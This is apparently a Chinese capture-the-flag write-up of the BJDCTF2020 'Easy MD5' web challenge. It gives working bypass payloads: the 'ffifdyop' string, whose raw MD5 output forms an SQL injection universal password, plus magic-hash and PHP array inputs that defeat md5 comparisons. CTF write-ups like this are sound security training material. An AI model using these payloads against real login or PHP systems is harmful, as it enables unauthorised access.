2020-BJDCTF-Web-Easy MD5

復(fù)現(xiàn)環(huán)境

https://buuoj.cn/challenges#[BJDCTF2020]Easy%20MD5

考察知識點(diǎn)

  • 代碼審計
  • MD5繞過
  • 弱類型比較

解題分析

訪問題目是一個查詢框,提交查詢會傳入一個password參數(shù)

查詢框

響應(yīng)頭里有提示md5($pass,true)

md51

md5(string,true)函數(shù)在指定了true的時候,是返回的原始 16 字符二進(jìn)制格式。

而MD5繞過就是利用二進(jìn)制字符串和前面的形成閉合,構(gòu)成萬能密碼。

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

我們輸入這個ffifdyop字符串以后出現(xiàn)以下的頁面

ffifdyop

提示在源碼里面

源碼

if($a != $b && md5($a) == md5($b))

這個有多種繞過

?a=QNKCDZO&b=240610708

?a=s878926199a&b=s155964671a

?a[]=1&b[]=2

等等

弱類型比較繞過

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))

弱類型比較變成了強(qiáng)類型比較了,這里就只能用php數(shù)組繞過,由于哈希函數(shù)無法處理php數(shù)組,在遇到數(shù)組時返回false,我們就可以利用false==false成立使條件成立。

php數(shù)組繞過
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容